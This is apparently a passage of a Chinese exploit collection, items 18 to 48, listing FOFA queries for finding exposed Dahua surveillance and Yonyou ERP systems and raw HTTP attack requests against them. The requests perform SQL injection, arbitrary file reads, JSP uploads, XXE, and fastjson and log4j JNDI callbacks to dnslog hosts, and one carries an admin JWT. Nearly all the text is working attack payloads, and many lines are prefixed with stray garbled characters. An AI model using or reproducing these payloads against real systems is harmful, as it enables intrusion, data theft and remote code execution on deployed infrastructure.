Host: x.x.x.x
% W) E# w/ R! W3 A* g4 s, fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
  l) ?0 L$ M2 v* i5 v- J; {Content-Length: 345
Accept-Encoding: gzip
$ Z( H7 {' R( f3 L0 {
3 o5 x: P- d: F; D8 z<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
( G$ a+ J  ^6 G* I4 O. O7 S<s11:Body>
. z2 H: |* e3 ~: s    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
5 d3 n) _6 x' i' a# f  k/ A      <netMarkings>
4 h3 b7 Q  A( B) d* Q       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
" R# y  A; h7 b5 h  </s11:Body>
</s11:Envelope>
4 P# }% H* V6 {  q/ |
, B) u( B4 D2 `0 u  `! n/ X, y5 h
! u4 L: S2 g6 |) X& b" c. E' _2 F' ~18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
: q* g( A" M! oGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
/ B5 x( O  z6 c. S9 `' ^' R7 }Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# _; M, N6 o1 ?" }Accept-Encoding: gzip, deflate
1 @: M2 L" q2 F" e  ^% oAccept: */*
8 C& V+ S" w: `. c! ^+ u# |0 [! XConnection: keep-alive
. F! G! n% k  t6 k2 P4 P; j4 m

' j8 }/ d! W1 j
. D$ J' }5 w; T7 ]9 q19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
2 C$ k% F, k( X1 v0 HFOFA：app="dahua-DSS"
/ }* P1 |, W+ r, iGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
$ `8 l! ^$ \3 a2 R3 UUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
+ v! t6 S# S9 q1 y2 j. m7 |Accept-Encoding: gzip, deflate
Accept: */*
* k) f2 T  D9 {- ]4 P1 QConnection: keep-alive
7 E# Y7 V; |. g- x2 T2 h+ g
! [5 s* }9 ^2 D% L& C8 W+ z1 i  @$ s$ c
9 H  G+ g* S0 O* N2 S20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
7 Y6 i# P3 H' pGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
$ Q" M" h4 _* a0 b  g4 MUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! n4 x0 s  `8 F" j5 u/ v3 p$ o1 f) IConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 t4 V( T% J0 D- \$ Z+ ]4 pContent-Length: 161
Accept-Encoding: gzip
2 y  y* h3 n" K( A( M$ s& D6 z3 vConnection: close
Content-Type: application/json;charset=utf-8

{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
, T; W0 W1 x& ^1 t    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
5 k  _6 N2 r' V) U  }""
}


: `4 P' v. t' ~  F0 R& J9 C22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
! C5 }5 F0 ~8 B8 ^/ m/ s$ gPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
: e; E- r; v( i0 ^4 YHost: your-ip
2 Y. s5 f3 V$ fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

; i* U# `( K1 t# o& v{
, k8 q/ @8 O! {0 K% R/ B6 R. K( O"loginName":"${jndi:ldap://dnslog}"
}


7 k1 I7 L. c: \; y
8 K* i/ r% R# ]* v) X23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
0 b) ~$ O8 b) m. l" X3 hFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
$ A" ~* D  \0 L  J- KHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% l2 K' `/ ]- ]# f0 o. Q0 |Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
/ F/ o& n+ O, {+ \$ J1 _" x. wConnection: close
, B2 G# U4 ?& X; j' }4 m/ F% W9 f
$ c( a4 F4 i" w9 e4 ^" u* H{
: @) Z* m) B" ^+ T% \$ s    "a":{
( {5 [3 u5 Z; F4 e+ T        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
7 h+ I# j& [  E5 m6 ]        }""
}


24. 用友NC 6.5 accept.jsp任意文件上传
& G  K/ N, N/ c6 x% pFOFA：icon_hash="1085941792"
0 }- R/ E/ Z5 tPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
4 d4 y3 ?0 b9 e3 N: @5 C5 SUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
Accept: */*
Accept-Encoding: gzip
+ ], c; W8 q: v, T: _Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
9 k$ ?* a: J2 {) K" J8 E* UContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
7 U. R& d7 o- s2 xContent-Type: text/plain
+ k1 W' R( p# B$ h
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
0 i9 `- J6 |; h- k2 i-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
6 w2 a- x; [( T' ~
: Q# \1 V4 [4 B" O% }5 B! y/ D\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
7 H3 |, X9 A4 l-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
" c1 K2 d" R3 u& X

25. 用友NC registerServlet JNDI 远程代码执行
$ G" T9 M7 ^) wFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
' L& a2 G; r1 HHost: your-ip
; o6 |3 W& J% Y9 RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
4 d$ B* Y  g' O& kAccept-Encoding: gzip, deflate
& ~& y. u& q* z* Q& }# l/ O* KAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
5 n5 T% E( W# h0 c1 {# A: A3 b0 IContent-Type: application/x-www-form-urlencoded

& i2 T& {6 r8 ctype=1&dsname=ldap://dnslog


1 l* c  J( Q2 W+ W2 u3 E7 x
26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
8 a7 ]% ]" a8 a( e* l7 xAccept-Encoding: gzip, deflate
4 A" i8 Z8 Z3 }2 j5 J% D& @% zAccept: */*
+ o$ n7 V& t/ H. X) t( D6 qConnection: keep-alive
) j& q+ Y* f  ]9 q
) d1 Z+ Q2 C( [2 U8 a" S
27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
1 B4 r) x, S" a, u2 O# gHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8
, G; F4 k( z1 H/ t
6 ?0 G% X5 B$ Q# r2 M
; f! @  v* l  K# x0 ]# Y' B8 E# V28. 用友NC grouptemplet 任意文件上传
; j4 H/ x; ~- o+ G5 GFOFA：icon_hash="1085941792"
% k! E2 L% k6 \& p6 A4 t% h' iPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
/ B# L+ ]7 k4 \% Z- [" VConnection: close
% d/ U/ m' r5 N$ V, k8 zContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
7 f7 y( D: U4 uAccept-Encoding: gzip
' ^, a. C( t6 |/ Q! }. q, ^
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
* c: W* _( B) Y5 c' H; \Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
# O6 c0 S1 k. _6 qContent-Type: application/octet-stream
8 j) Q" Q% e, Z# U. q! \0 ?
: {, [# O- G8 H# U& J1 J# [<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
7 Q" y4 Y5 s1 I  K) k: `

/uapim/static/pages/nc/head.jsp

/ U7 U8 U5 E7 O29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
  A* I- D! R% H: u+ \1 F. wGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
$ c1 q7 D, b& o: @6 ?/ @Connection: keep-alive
% ]' k% C/ f2 `5 T/ a7 y

30. 用友NC importPml SQL注入
& T: ?% p8 W3 e& i( z' j5 sFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
# w& W5 Q$ `& v* BHost: your-ip
5 p: B- Y" X, M+ h  G/ E0 Q" lContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
5 D! _* x( G% F( \- pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
: g- K+ N- n; L4 e) q! I# D, I
------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
8 g, t: j$ {" M4 IContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
! ^7 T2 t3 w8 y& |* D1 f; B6 Q/ i

31. 用友NC runStateServlet SQL注入
version<=6.5
7 \* `! G- r- E3 D3 i6 X) VFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
2 P6 D& \* R" ^9 a) p& i& YContent-Type: application/x-www-form-urlencoded

. U$ C0 |9 \# P% q, g" c8 w
0 m9 l& x! f& _; X32. 用友NC complainbilldetail SQL注入
; V4 m$ U' N( iversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
3 I/ o$ u7 w7 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
4 ^8 y4 q, F$ vConnection: keep-alive

9 c2 g) t. K% P9 ]- l$ C
9 H- `: N) [; d8 }9 G33. 用友NC downTax/download SQL注入
# k0 |' c; X7 z3 E0 j/ Zversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
, Z7 N$ O% {( }+ I- O9 TAccept-Encoding: gzip, deflate
2 ]/ Z8 c% {" R3 XAccept: */*
0 s, h" X4 _+ I" {& fConnection: keep-alive
/ g3 z( w3 `; Y3 D

34. 用友NC warningDetailInfo接口SQL注入
  z/ ]1 P. }/ C2 q0 t9 D: lFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
8 L! I: B2 k0 tHost: your-ip
9 y: \, z" i- J# s2 a. @7 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
. _- A" X' i1 k- V) @# o  _7 ^

5 ~) u6 }- R, _35. 用友NC-Cloud importhttpscer任意文件上传
1 o8 M" a; `% hFOFA：app="用友-NC-Cloud"
+ f/ y4 |: N( @" Z& R' pPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
- t$ c; [& J% G; W6 {2 cUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
/ `7 |( p; Z" m2 _$ \% t. B, |3 UAccept: */*
5 B; l5 F1 p' p% `# |3 a# B4 PConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
7 I& {/ p' i. LContent-Length: 190
, A. Y" b& D$ EContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
, B! f) b7 s; l* u: N+ j4 I2 J/ o
--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
2 S/ O$ J5 N$ X" t
<%out.println(1111*1111);%>
: H9 }/ ^6 {( c/ w--fd28cb44e829ed1c197ec3bc71748df0--
) D7 ]2 k( W+ A6 k8 q2 A& X

1 m8 u  R: A9 K% U36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
+ B8 m7 x* }0 V+ D  JPOST /uapws/soapFormat.ajax HTTP/1.1
3 g& `1 f% U" hHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
) C6 g! `9 ~7 l9 z; i3 z' k7 y- m( rContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
2 c! K5 C& A9 d0 XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 X6 e1 h& w0 X$ @Connection: close
Content-Type: application/x-www-form-urlencoded
8 m0 ]% M9 a8 X+ L" ~Upgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
$ \4 ?9 R! C; u) C) X4 h- n

37. 用友NC-Cloud IUpdateService XXE
$ Z$ D- v$ x3 {) N" d$ BFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
2 ]* W! _- r. V( t( W+ DPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
, \2 I, ?: M- GHost: 192.168.40.130:8989
' C  t* s* e4 N1 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
3 Q: p8 G- o/ ?( u5 c  G! UContent-Length: 421
- S! v4 V* D7 N* y0 V* sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& n! s2 `0 |- P# J0 X4 V* V- zConnection: close
6 a- Z0 V1 E& [% _Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
! `. U7 z$ \- k  w: NUpgrade-Insecure-Requests: 1

9 i8 m. R7 ~6 l; a% d: j3 w<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
" \7 c( Y& a( k2 J; m) I6 R<soapenv:Header/>
0 a. m' V4 k. N3 J<soapenv:Body>
<iup:getResult>
6 _+ V; [) f& @5 @/ C) f<!--type: string-->
<iup:string><![CDATA[
9 |7 {% q) j- f8 I% n<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
7 Z' e3 \3 ~2 g  f- _* G1 O<xxx/>]]></iup:string>
7 Z* y, [: [8 K, _6 j8 C! S2 ~8 f</iup:getResult>
1 w/ Y! @/ K. S9 d</soapenv:Body>
, s6 Y/ J- \6 R, L6 Q</soapenv:Envelope>
( x2 W) D- J6 a5 ]; ]

) Z: ~7 r. J6 r& |* [
38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
/ R+ W9 Q9 t! l! ~/ s: G* dPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
- i9 c1 f3 i0 w8 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
+ S: {0 B$ O( t5 _! AContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

+ m/ P% F( {  E; {9 f2 k+ \__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


39. 用友U8 Cloud RegisterServlet SQL注入
0 _- s( R  q/ |1 v2 e0 @FOFA：title="u8c"
: f3 T9 y. R* vPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
. L0 A  F; N* Z5 [# [/ s. KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
  J! s4 o- O1 u3 o0 Z' U/ g* mAccept: */*
7 @9 P  z2 Y; L/ W9 ~: `Accept-Language: en
) a, d- ~" P. ^) [3 h# rContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
( q0 j2 c% ^) }8 s8 S- dAccept-Encoding: gzip
5 ~: z3 G& A2 ^, X
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
! P) l! A* h  X. Y% d" ?& L, P

6 j" O& j0 ^, |2 y: i2 ^/ z40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
- z+ j8 A& V! W  J3 T! I3 P; GContent-Type: text/xml
7 M. x3 L6 G3 a* }Connection: close

( N* ~& l" |; j, |; t. t0 r<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

% H2 _0 k: V, u% N: J8 N
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
- R, \3 p( {' @( E" bFOFA：app="用友-U8-Cloud"
) m/ |2 l) q9 IGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
3 N7 @" ?! f4 c# ]. Q& DHost:
! i% V* M% W  y) xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, S$ X( k/ ~; NContent-Type: application/json
, z7 L; G$ p( L3 u" {( `Accept-Encoding: gzip
Connection: close
, m, n8 A, \1 C1 c7 A" \; B& h
! p; m6 F3 o( _2 W
  p! }6 I0 p9 c/ E0 F3 J. b42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
7 l& @! G" r( D6 y! P0 ?* x9 Q8 `8 fPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
. f5 m% ?( V& u( ^' a/ v" LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

' R# w: a0 }5 a" G1 v' Y: LPAYLOAD

. W& R* b( Y0 i, R# H7 C
& ?+ N6 I2 x  G$ Khttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
+ J; A, N$ `9 r6 x
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
+ h( D% k) q) s! ^: n, @FOFA：app="用友-GRP-U8"
6 X# W- L1 c' ^  `2 n) FPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# `' d) [3 f! b0 [* o- tConnection: close
: s0 C$ t7 [+ y$ P5 ]. c$ |SOAPAction:
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
9 X- _2 Y, d3 g& j( z( k   <soapenv:Header/>
" r: M6 b2 Y, @3 Y, l4 M& P   <soapenv:Body>
( y" A1 q' t; I- k      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
' O2 O  j2 D, V         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
) n9 y# `$ e/ J2 z      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>
& T5 A& g+ @( j; `

5 S& n& X# @- c. {3 Z/ k44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
) b" M8 G9 I, a4 RGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
5 l/ j8 x1 Q; J. IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
6 Y. O9 o6 J) }
+ K6 u! Q4 a0 y( f4 y$ i, f) k
# X0 _, k1 F9 M5 Y7 t45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
  e( k6 D  Q. R8 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
% N5 s$ _& a2 n+ e* H; h9 T8 ?1 NConnection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) J) n6 F/ V. K% U6 ^' BAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
" V" s) n0 U, m5 ~  e6 r5 WAccept-Encoding: gzip
: A8 Q3 p8 S. G
reqData=<?xml version="1.0"?>
; u5 S7 p4 b& A. C0 a$ _<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
! k( O4 ~8 z. b1 S1 \( V

46. 用友GRP-U8 sqcxIndex.jsp SQL注入
9 \9 p9 _6 o: ^8 ^3 BFOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
* T* U, D. h4 p  M3 PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' L5 i' |; m5 v/ l* U0 UAccept-Encoding: gzip, deflate
1 ^1 @; r( ]$ ^6 U2 w* XAccept-Language: zh-CN,zh;q=0.9
Connection: close


47. 用友GRP A++Cloud 政府财务云 任意文件读取
8 a' ?1 u, Z! |FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
9 f0 L6 y, M2 C: G' `Cache-Control: max-age=0
" N7 y/ e! e( V+ t( RUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
- M0 G* n; ~: I, j- dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 g( P& n- E& {9 aAccept-Encoding: gzip, deflate, br
1 u& g- @7 t+ X; iAccept-Language: zh-CN,zh;q=0.9
. D: h% N! I" z" i+ FIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
1 {( x& A% I$ U3 E8 V1 TConnection: close
! D& v# T/ G( A* k; U. T

1 R  h6 T! Y$ e! Q6 c: x
48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
